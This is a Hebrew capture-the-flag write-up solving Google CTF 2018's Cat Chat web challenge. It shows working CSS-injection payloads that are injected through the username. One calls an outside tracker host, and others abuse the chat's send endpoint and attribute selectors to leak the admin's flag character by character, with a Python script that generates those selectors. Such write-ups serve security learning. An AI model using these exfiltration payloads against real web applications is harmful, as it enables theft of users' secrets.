google CATCHAT
במדריך זה אציג לכם את הפתרון שלי לאתגר ה-CAT CHAT מ-GoogleCTF2018, Google. מדי שנה google נוהגים להוציא סדרה של אתגרים מרתקים בשלל נושאים הכוללים:
- CRYPTO
- MISC
- PWN
- RE
- WEB
אני משתדל מידי שנה לפתור לפחות 1-2 אתגרי web. מדובר באתגרים קשים יחסית ביחס לתחרויות CTF אחרות שאני משתתף בהם.
המטרה באתגר זה היא למצוא את הסיסמא של ה-admin שהיא מכילה את המילים {...}CTF
במהלך התחרות ניסיתי להקליט סרטון שמדגים את הדרך שלי לפתרון:
לאחר שלוחצים על הלינק מגיעים לצ'אט הבא:

לצ'אט 2 חוקים:
- על מנת להוסיף משתמשים לצ'אט יש לשתף את ה-URL
- אם מישהו מדבר על כלבים יש לדווח עליו ל-admin ואז ה-admin יתחבר לצ'אט ויחסום אותו.
בנוסף לחוקים אלו ניתן לראות שמדובר במערכת open source ונתנו לנו לינק למערכת.
טרם ניכנס לקוד שקיבלנו, נבצע ctrl+u ונצפה בקוד המקור של המערכת:

בקוד המקור אנו רואים עוד קובץ JavaScript בשם catchat.js שנבחן אותו בהמשך ועוד 2 הוראות נסתרות:
- secret/
- ban/
כעת נבחן את 2 קבצי קוד המקור שקיבלנו:
בקובץ server.js אנו רואים מערכת nodejs שמכילה את הנקודות המעניינות הבאות:
במערכת הזאת מוגדר CSP שמאפשר unsafe-inline style:

מה שמרמז על כך שכנראה נצטרך לבצע הזרקת CSS באתגר זה, ובהמשך הקוד אנו רואים הגדרה לקויה של switch case, אשר משתמש בביטוי רגולרי על מנת לתפוס את המידע שמוזן אליו.
ב-switch case רגיל ידוע שיש לבצע break אחרי כל תנאי, אחרת הקוד ייכנס לכל שאר התנאים בדרך. בתרגיל ניתן לראות בבירור שמישהו עשה זאת במכוון ועוד על מנת שהקוד יעבוד בצורה תקינה הוא הוסיף ביטוי רגולרי.
כמו כן אנו רואים שיש כאן את המימוש של ארבעת הפעולות שאנו יכולים לבצע בצ'אט:
1. name/ – שינוי שם.
2. ban/ – חסימת משתמש, ניתן לראות שרק admin יכול לבצע זאת
3. secret/ – שינוי סיסמא ל-admin
4. report/ – קורה ל-admin לצ'אט על מנת שיוכל לחסום את המשתמש שמדבר על כלבים

בקובץ catchat.js אנו רואים את החלק הבא:

ניתן לראות ששם המשתמש שיבצעו לו חסימה יצבע באדום ואנו יכולים לשלוט על שם המשתמש באמצעות הפקודה /name כך שאנו יכולים לבצע כאן CSS Injection.
בנוסף אנו רואים שיש לנו את data-secret שנקרא רק כאשר משנים סיסמא ל-admin כך שיהיה עלינו לשנות את הסיסמא ל-admin בלי לדרוס את ה-flag, אציג איך לעשות זאת בהמשך.
בהמשך הקובץ אנו רואים את הפונקציה הבאה:

ניתן לראות שהפונקציה הזאת מבצעת חסימה לפי שם והיא תכנס למבנה ה-switch case שלנו:

במבנה ניתן לראות שבמכוון מיקמו את /ban מעל /secret כדי שנוכל לשרשר את הפקודה /secret אחרת אם זה היה הפוך לא היינו יכולים לשרשר זאת ובגלל זה גם לא כתוב break כדי שהשרשור יעבוד.
כך שהתרגיל מכיל המון רמזים לפתרון האתגר, כבר כאן היה לי די ברור שעלי לבצע שינוי סיסמא ל-admin מחשבון ה-admin באמצעות css injection דרך שם המשתמש שלי.
לאחר שהבנו כיצד המערכת עובדת נבחן את הפונקציונאליות על ידי פתיחת חלון נוסף באמצעות Incognito
ונכתוב Hi, נבצע את הפקודה /report ואז נכתוב את המילה dog כדי שה-admin יחסום אותי.
כעת נשחרר את החסימה על ידי מחיקת העוגייה banned ונמשיך באתגר:

ננסה להחליף את שם המשתמש שלנו לקוד הבא:
/name x]{background:url(https://gmailtracker.com/a.jpg?a);}[
מה שיוזרק לפקודה הבאה:
display(`${esc(data.name)} was banned.>style>span[data-name^=${esc(data.name)}] { color: red; }>/style>`);
כך:
>style>span[data-name^= x]{background:url(https://gmailtracker.com/a.jpg?a);}[] { color: red; }>/style>
נגרום ל-admin לחסום אותנו ונראה ש-הCSP חסם את שליחת החבילה לדומיין שלנו:

כך שלא נוכל להוציא את המידע מחוץ למערכת בגלל ה-CSP, לכן ננסה בכל זאת למצוא דרך להוציא מידע אך להשאיר אותו בגבולות המערכת.
בחנתי את חבילת שליחת ההודעה בלשונית ה-Network וראיתי שהיא מכילה מבנה פשוט שקל לשחזר:

כך שיניתי את ההזרקה לקוד הבא:
/name x]{background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=x&msg=test);}[
והתוצאה הייתה:

ההודעה הודפסה פעמיים מכיוון שבפעם הראשונה היא הודפסה מחשבון ה-admin ובפעם השנייה מהחשבון השני מ-incognito, כך שניתן לראות שאני מצליח לשלוט גם בחלון של ה-admin שהתחבר לצ'אט.
כעת נעשה בדיקה אם יש ל-admin את המילה }CTF בחשבון כפי שהיה כתוב בתיאור האתגר באמצעות הקוד הבא:
/name x]{background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=x&msg=/secret x; Domain=itsafe.co.il);}span[data-secret^=CTF\{] {background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=admin&msg=CTF%7b);}[
את הקוד אני אחלק ל-2 שלבים:
החלק הראשון :
x]{background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=x&msg=/secret x; Domain=itsafe.co.il);}
שולח הודעה בצ'אט עם המילה /secret x; domain=itsafe.co.il מה שיגרום ל-admin להגדיר את ה-flag ולקרוא לקוד:
display(`Successfully changed secret to >span data-secret="${esc(cookie('flag'))}">*****>/span>`);
ומכיוון שהגדרנו את העוגייה ב-domain אחר, הדפדפן לא יקבל את הפנייה ולא ישנה את העוגייה כך שהתוכן של העוגייה המקורית ישמר שהוא בעצם ה-FLAG שאנו צריכים.
החלק השני של הקוד:
span[data-secret^=CTF\{] {background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=admin&msg=CTF%7b);}[
מבצע בדיקת CSS, אם יש אלמנט span בעמוד שמכיל את התכונה data-secret שהתוכן שלה מתחיל במילה }CTF אז תשלח הודעה חדשה, לכן גם עשיתי url encode מכיוון שהיא תעבור ב-url עם המילה }CTF
מה שיראה כך:

סימן שהמידע קיים, כעת נוציא את שאר התווים באמצעות קוד ה-python הבא:
import string
ret = ""
for c in string.ascii_letters+string.digits:
ret+="span[data-secret^=CTF\{"+c+"] {background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=admin&msg=CTF%7b"+c+");}"
print ret
קוד זה בעצם מדפיס את כל האפשרויות עבור אותיות שיכולות להיות ב-FLAG ואם אות כלשהי קיימת, תנאי ה-CSS שלנו יתבצע וההודעה תשלח לצ'אט עם האות:

כך קיבלנו את התו L ומכאן ה-flag מתחיל ב-
CTF{L
נמשיך כך עד אשר נוציא את כל ה-Flag:

עד אשר נקבל:
CTF{L0LC47S_43V3R}
באתגר זה אתם למדים שהזרקת קוד לא חייבת להיות דווקא ב-JavaScript ולפעמים CSS פשוט הינו די והותר.